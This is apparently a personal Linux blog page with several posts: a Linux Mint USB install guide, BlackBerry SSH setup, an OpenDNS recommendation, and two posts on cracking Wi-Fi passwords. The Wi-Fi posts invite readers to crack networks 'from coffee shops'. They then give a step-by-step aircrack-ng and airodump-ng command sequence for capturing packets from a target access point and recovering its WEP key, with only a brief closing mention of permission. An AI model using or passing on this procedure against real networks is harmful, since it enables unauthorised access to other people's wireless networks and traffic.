Installing Linux Mint 5 LTS into a Pen-Drive

Posted by Rakesh under Linux /GNU, Nxt

Linux Mint 5LTS codename “Elyssa” is a very convenient way to carry your Linux distro with you easily — just install it into a Pen-Drive.

Another advantage of a USB Pen-Drive Linux Mint is that it loads and runs ways faster than running from a LiveCD/DVD media.

Requirements and recipe:

1. 1 GB or larger USB Pendrive (rec. 2 GB or larger), formatted as FAT32

2. LinuxMint installer file LinuxMint-5-r1.iso residing on disk

3. UNetbootin http://unetbootin.sourceforge.net/ (download from here)

Note that Unetbootin isn’t available through Debian Lenny repos

After downloading unetbootin-linux-408,
open a terminal and become root

then copy it to /usr/bin

For me…

root:~# cp /home//Downloads/unetbootin-linux-408 /usr/bin/

If you get the error message ‘Permission denied’ while trying to run ‘unetbootin-linux-408′ like as mentioned below:

debian:~# unetbootin-linux-408
-su: /usr/bin/unetbootin-linux-408: Permission denied

It means you need to give executable permission to ‘unetbootin-linux-408′. So to make the file executable (chmod 755), type following command on your terminal (root)

root:~# chmod 755 /usr/bin/unetbootin-linux-408

Now exit the root login

root:~# exit
logout

Now run unetbootin-linux-408 from commandline

rakesh@debian:~$ unetbootin-linux-408

4. Insert you’re USB Pendrive

5. Start the UNetbootin (you will be prompted for your password)

6. Specify CD image (ISO) file to load LinuxMint-5-r1.iso (or download latest version of LinuxMint 8.0 Helena )

Once downloading is complete, it will be started extracting …

then installing…

Once installing is complete…

7. Reboot PC and select you’re USB Pendrive as first boot device (BIOS)

8. Select “Default” your newly installed Linux Mint to run

It is really that easy!

Enjoy LinuxMint on the USB Pendrive!

BlackBerry SSH: Connect to the remote Linux Server using MidpSSH on BlackBerry Curve 8520

Posted by Rakesh under Howto, Linux /GNU, Nxt, Smartphone

First time, when I installed the midpSSH client and configured it on my BlackBerry Curve 8520 and tried to connect to the remote Linux server, it was giving an error message “Writer: could not open tunnel – failed”. Later, I checked it in detail in order to replicate and resolve the problem and I found the port 22 is not opened on EDGE enabled BlackBerry smartphone with BlackBerry Internet service by Airtel (as we know that the firewall only permits access to the SSH Server via port 22). When I came to know that SSH works on GPRS enabled phone — it gave me a clue that the port 22 must be opened on GPRS enabled phone. So I asked my BlackBerry service provider – Airtel India support guys to activate the GPRS service on my phone and as it got enabled and tried to connect the remote Linux Server using midpSSH, it started working on my BlackBerry smartphone – WOW .

For Linux developer guys, it is essential that you connect to the remote Linux server from anywhere. I found having a SSH client on my BlackBerry 8520 smartphone is very convenient for a quick status check and troubleshooting.
MidpSSH is a SSH and Telnet client for mobile device [It's open source software - so you can modify it too as per your requirement.]

Here’s step-by-step guide on how to connect to a Linux server from BlackBerry 8520 phone using MidpSSH software.

1. Download MidpSSH on BlackBerry Phone

From the blackberry browser, go to http://www.xk72.com/wap and click on ‘Latest Development Release (v1.7.3)’. This will display several download options for blackberry phone. Select the BlackBerry Build OS 4.x.

* SSH1 Build * SSH2 Lite Build MIDIP 2.0 MIDIP 1.0 * SSH1 Lite Build * BlackBerry Build OS3.x OS 4.x * BlackBerry Enterprise Only build * No Obfuscation Build

When you select download, you may get a warning message — “The application does not contain a signature. It might not be from a trusted source. Do you want to proceed?”. Select ‘Yes’. This will start the download automatically as shown below.

2. Install MidpSSH on BlackBerry Phone

After download, it will automatically install the application and give you the following installation successful message. Click on ‘OK’, which will display the MidpSSH icon on the blackberry home screen as shown below.

3. Create a new SSH Client session and connect to Linux Server from your BlackBerry Phone

Create a SSH client connection by giving the ip-address of the Linux server you would like to connect to from your blackberry phone as shown in the Fig below.

* Alias – Enter the connection name. * Host – Enter the ip-address of the server. * Type: SSH, Telnet. Select SSH. * Authentication: For SSH Connection Only. Optional. Leave this empty. * Username: Enter the linux user name. * Password: Enter the linux account password. * Connection Type: Default, TCP/IP, BES, WiFi. Select Default.

For example:

Alias: Dev DB Host: 208.67.222.222 Type: SSH Authentication: Username:blackberry Password:******** Connection Type: Default

Once the session is created, select the session using the trackball, which will give the option to connect, for me SSH Client session ‘Dev DB’, you need to go to the ‘Dev DB’ client session and right click on ‘Dev DB’ and select ‘Connect’ to connect to the remote Linux server . This will prompt the message — “The application MidpSSH has attempted to access a low-level network connection. Would you like to allow this?.” Select “Yes” for this message, which will connect to the remote Linux server.

Note: As we know, the firewall only permits access to the SSH Server via port 22. If even you have Rs. 899 unlimited Airtel BlackBerry Internet service plan on your BlackBerry phone, you can’t connect to Linux Server from your BlackBerry Phone – it gives an error message “Writer: could not open tunnel – failed”. Because, by default for Airtel users with using EDGE (enabled) BlackBerry smartphone, port 22 is not opened (first, I tested it on BlackBerry Curve 8520 locked phone with Airtel).

You must need to enable GPRS service on your BlackBerry phone if you want to use SSH on your smartphone. So as the GPRS service is enabled on your phone, the SSH will work and you would be able to connect to the remote Linux server.

Happy SSH on BlackBerry Curve 8520!!

Note that the default font size on the SSH client is very small. This makes the Linux prompt really tiny and practically not readable even with a 20/20 vision. The solution is simple — increase the font size.

Later, I had also tested the midpSSH on BlackBerry 9530 Storm Touch, Blackberry 9000 Bold and BlackBerry Curve 8900 (including BlackBerry Curve 8520) with Blackberry Internet service and GPRS enabled and it worked for me on these Blackberry smartphone models.

If you will have any problems related BlackBerry SSH — just let me know by posting your comment here.

How to hack or crack Wi-Fi Password Using Debian Linux

Posted by Rakesh under FYI, Howto, Linux /GNU

Hacking Wi-Fi Password Using Debian Linux – I know a lot of you out there would love to know how to hack or crack Wi-Fi passwords from coffee shops or just about any place with managed or secured network. Today, here I will feature Linux based hacking tool which can help you crack Wi-Fi passwords be it WEP or WPA protected. I’m going to share with you some of my favorite wireless tools that can be used to hack Wi-Fi password using Debian or any other Linux distribution:

Aircrack-ng
Aircrack-ng (a fork of aircrack) is my main tool for cracking Wi-Fi passwords. It has a wireless network detector, a packet sniffer, WEP and WPA/WPA2-PSK cracker, and an analysis tool for 802.11 wireless LANs. Aircrack-ng works with any wireless card whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.

Kismet
Kismet is a really good network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. It will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic. Kismet works in passive mode, which means it is capable of detecting the presence of both wireless access points and wireless clients without sending any loggable packets.

SWScanner
SWScanner is specifically designed to make the whole wardriving process a lot easier. It is also intended to manage many tasks related to wireless networking. SWScanner is compatible with NetStumbler files and can be integrated with GPS devices.

These are only three of the many wireless tools that can get you going in no time, so feel free to explore.

I will give you a step-by-step instruction on how to hack or crack WiFi password using Debian.

Read for Getting started to Hack or Crack WiFi password using Debian

Cracking Wi-Fi Password with Debian Linux

Posted by Rakesh under Howto, Linux /GNU

There is a program or rather OS called backtrack which has all these programs installed. I personally use Debian as my linux OS distro. Now if you have Debian what you have to do is open a terminal (shell) and type: sudo -i, what this does is make it so all your commands run on root (enter your password for your login when it asks for it after typing sudo -i.

First i need to log in as admin (root), Then I start the network device, prism headers, and put the device into monitor mode.

1. type following commands from the command-line:

type in order to know my wireless network interface name:
iwconfig

example: eth2

2. type:
ifconfig eth2 up

3. next type:
iwpriv eth2 forceprism 1

4. next type:
iwpriv eth2 rfmontx 1

next type:
iwconfig eth2 mode monitor

5. type to install aircrack-ng tool if it is not installed:
apt-get install aircrack-ng

what this does is install the aircrack suite (includes airmon-ng, airodump-ng, aircrack-ng, aireplay-ng, airtun-ng, and not sure what else).

after that is done installing type: airmon-ng

this shows all the wireless interface cards you have connected to your computer
pick one you want to use and type : airmon-ng start *your chosen interface* –mine is eth2

Example:
airmon-ng start eth2

6. Then, type:
airodump-ng -c 6 eth2

Next we scan for the network and wait for the clients station to appear (alternatively we can use kismet tool to scan client station. To install this tool, type: apt-get install kismet (run it from commandline – it displays the detailed information about client stations)

and note down the bssid and client (station) mac address…

For example, I for following client station mac address:
bssid – 00:13:46:40:17:24
client mac – 00:11:95:D4:88:7E

7. type:
airodump-ng *your chosen interface*

this will start scanning your surroundings for a network to crack. It will include all the info like the bssid, essid, channel, how many packets, how close you are to the access point.

chose an access point that has a lot of packets coming in (and make sure it is WEP)

open a new terminal by pressing: ctrl+shift+N

8. type: airodump-ng -w *any file name you want* –bssid *the MAC address of the network your going to hack* -c *the channel of that network* *and your chosen interface*

example: airodump-ng -w passcode –bssid 00:13:46:40:17:24 -c 6 eth2

with any luck it will start collecting packets and save it in a file called passcode (or whatever you put) .cap

after it has collected at least 5000 packets open a new terminal
and type in: dir

this shows what is in the folder… you are looking for yourfilenameyouchose-01.cap
highlight and copy this by double clicking it in the terminal and right-clicking

9. next type: aircrack-ng -a 1 -b *mac address your cracking* yourfilenameyouchose-01.cap
example: aircrack-ng -a 1 -b 00:13:46:40:17:24 passcode-01.cap

hit enter and if you have enough packets it should say key found… take that key and try connecting to the access point you cracked… when it asks for the key just type that key you just got into the the text box… if you followed this it should work for you on debian….

Note that I have tested it — to hack my friend’s wifi WEP password on his permission.

Happy WiFi hacking, but be responsible and do it only for testing or if you have permission.

Speed Up Your Web Browsing with OpenDNS

Posted by Rakesh under FYI, Linux /GNU, Technology, Uncategorized

Are you looking for a faster way to browse the Internet and have pages load faster? If so, you might be interested in trying out OpenDNS (208.67.222.222, 208.67.220.220). Adding OpenDNS to your router or home computer will speed up your web browsing.

DNS (Domain Name System) translates an IP address to an easy to remember hostname. If you use your ISPs DNS settings by default, it may not be the fastest way to get to your favorite sites.

First, let you know – What Is OpenDNS?

Like many people, I use OpenDNS on my home network. It is a free DNS service that translates the URLs of Web pages into IP addresses.

OpenDNS theoretically helps speed up Web browsing by using better DNS servers to resolves URLs faster than your Internet Service Provider (ISP). The increase is probably too small for you to notice on a regular basis, however. More importantly, the service gives you better control over the Web sites you and your family visits, and contains built-in controls to protect against hackers hijacking your browser.
In operation for just over five years, OpenDNS now is serving upwards of 20 billion DNS queries per day. I’ve never experienced an outage or performance problem. Kudos to the folks at OpenDNS for running a fine service.

Read this post to add OpenDNS (DNS Servers: 208.67.222.222, 208.67.220.220) to your PC to Speed up Web browsing.